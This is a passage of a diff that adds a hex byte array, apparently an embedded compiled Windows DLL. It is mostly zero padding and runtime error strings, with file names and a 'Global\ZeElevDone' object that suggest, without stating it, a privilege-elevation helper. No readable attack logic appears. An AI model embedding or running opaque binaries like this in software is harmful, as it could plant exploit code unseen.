0x90, 0x90, 0x90, + 0xe9, 0x5b, 0xe5, 0xff, 0xff, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6c, 0x69, 0x62, 0x67, 0x63, 0x63, 0x5f, 0x73, 0x5f, 0x64, 0x77, 0x32, 0x2d, 0x31, 0x2e, 0x64, + 0x6c, 0x6c, 0x00, 0x5f, 0x5f, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x5f, 0x66, 0x72, + 0x61, 0x6d, 0x65, 0x5f, 0x69, 0x6e, 0x66, 0x6f, 0x00, 0x5f, 0x5f, 0x64, 0x65, 0x72, 0x65, 0x67, + 0x69, 0x73, 0x74, 0x65, 0x72, 0x5f, 0x66, 0x72, 0x61, 0x6d, 0x65, 0x5f, 0x69, 0x6e, 0x66, 0x6f, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x25, 0x73, 0x7a, 0x65, 0x5f, 0x69, 0x6e, 0x2e, 0x62, 0x69, 0x6e, 0x00, 0x25, 0x73, 0x7a, 0x65, + 0x5f, 0x6f, 0x75, 0x74, 0x2e, 0x62, 0x69, 0x6e, 0x00, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x5c, + 0x5a, 0x65, 0x45, 0x6c, 0x65, 0x76, 0x44, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xb0, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x08, 0xb0, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, + 0xc0, 0x80, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x50, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x16, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4d, 0x69, 0x6e, 0x67, 0x77, 0x2d, 0x77, 0x36, 0x34, 0x20, 0x72, 0x75, 0x6e, 0x74, 0x69, 0x6d, + 0x65, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x3a, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x25, 0x70, 0x20, 0x68, 0x61, 0x73, 0x20, 0x6e, + 0x6f, 0x20, 0x69, 0x6d, 0x61, 0x67, 0x65, 0x2d, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x00, + 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x20, 0x66, + 0x61, 0x69, 0x6c, 0x65, 0x64, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x25, 0x64, 0x20, 0x62, 0x79, 0x74, + 0x65, 0x73, 0x20, 0x61, 0x74, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x25, 0x70, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, + 0x6c, 0x50, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x74, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x20, + 0x77, 0x69, 0x74, 0x68, 0x20, 0x63, 0x6f, 0x64, 0x65, 0x20, 0x30, 0x78, 0x25, 0x78, 0x00, 0x00, + 0x20, 0x20, 0x55, 0x6e, 0x6b, 0x6e, 0x6f, 0x77, 0x6e, 0x20, 0x70, 0x73, 0x65, 0x75, 0x64, 0x6f, + 0x20, 0x72, 0x65, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x25, 0x64, 0x2e, + 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x20, 0x55, 0x6e, 0x6b, 0x6e, 0x6f, 0x77, + 0x6e, 0x20, 0x70, 0x73, 0x65, 0x75, 0x64, 0x6f, 0x20, 0x72, 0x65, 0x6c, 0x6f, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x20, 0x62, 0x69, 0x74, 0x20, 0x73, 0x69, 0x7a, 0x65, 0x20, 0x25, 0x64, 0x2e, + 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0x64, 0x20, 0x62, 0x69, 0x74, 0x20, 0x70, + 0x73, 0x65, 0x75, 0x64, 0x6f, 0x20, 0x72, 0x65, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x61, 0x74, 0x20, 0x25, 0x70, 0x20, 0x6f, 0x75, 0x74, 0x20, 0x6f, 0x66, 0x20, 0x72, 0x61, + 0x6e, 0x67, 0x65, 0x2c, 0x20, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x69, 0x6e, 0x67, 0x20, 0x25, + 0x70, 0x2c, 0x20, 0x79, 0x69, 0x65, 0x6c, 0x64, 0x69, 0x6e, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x20, 0x25, 0x70, 0x2e, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x72, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x20, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x20, 0x25, 0x64, + 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x30, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x40, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd0, 0x80, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x30, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb8, 0x80, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0x80, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x44, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe0, 0x60, 0x88, 0x70, 0x41, 0xf6, 0x11, 0x46, 0x88, 0x95, 0x7d, 0x86, 0x7d, 0xd3, 0x67, 0x5b, + 0xaf, 0x31, 0x6b, 0x57, 0x69, 0x63, 0x6b, 0x4b, 0x85, 0x60, 0xe4, 0xb2, 0x03, 0xa9, 0x7a, 0x8b, + 0x6c, 0xe9, 0xcb, 0x1f, 0x97, 0x16, 0xaf, 0x43, 0x91, 0x40, 0x28, 0x97, 0xc7, 0xc6, 0x97, 0x67, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xcf, 0xbe, 0x3a, 0x46, 0x0d, 0x41, 0x7f, 0x40, 0x8a, 0xf5, 0x0d, 0xf3, 0x5a, 0x00, 0x5c, 0xc8, + 0x1e, 0x86, 0x96, 0xf3, 0x8e, 0x0c, 0x71, 0x4c, 0x82, 0x56, 0x2f, 0xae, 0x6d, 0x75, 0x9c, 0xe9, + 0x07, 0xb8, 0xc2, 0xc9, 0x31, 0x77, 0x34, 0x4f, 0x81, 0xb7, 0x44, 0xff, 0x77, 0x79, 0x52, 0x2b, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8b, 0x20, 0xf5, 0x1b, 0x5f, 0x29, 0x92, 0x49, 0xb5, 0xf4, 0x3a, 0x9b, 0xb6, 0x49, 0x48, 0x38, + 0x8b, 0x20, 0xf5, 0x1b, 0x5f, 0x29, 0x92, 0x49, 0xb5, 0xf4, 0x3a, 0x9b, 0xb6, 0x49, 0x48, 0x38, + 0x92, 0x67, 0x7b, 0x8f, 0x4d, 0x78, 0x47, 0x40, 0x84, 0x5d, 0x17, 0x82, 0xef, 0xbe, 0xf2, 0x05, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x2e, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x16, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, 0xd9, 0x16, 0x88, 0x40, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0xef, 0x12, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0xef, 0x12, 0x00, 0x00, + 0xff, 0x13, 0x00, 0x00, 0x0c, 0x70, 0x00, 0x00, 0xff, 0x13, 0x00, 0x00, 0x24, 0x14, 0x00, 0x00, + 0x18, 0x70, 0x00, 0x00, 0x30, 0x14, 0x00, 0x00, 0x31, 0x14, 0x00, 0x00, 0x24, 0x70, 0x00, 0x00, + 0x40, 0x14, 0x00, 0x00, 0x43, 0x14, 0x00, 0x00, 0x28, 0x70, 0x00, 0x00, 0x50, 0x14, 0x00, 0x00, + 0xf7, 0x14, 0x00, 0x00, 0x2c, 0x70, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x3e, 0x15, 0x00, 0x00, + 0x38, 0x70, 0x00, 0x00, 0x40, 0x15, 0x00, 0x00, 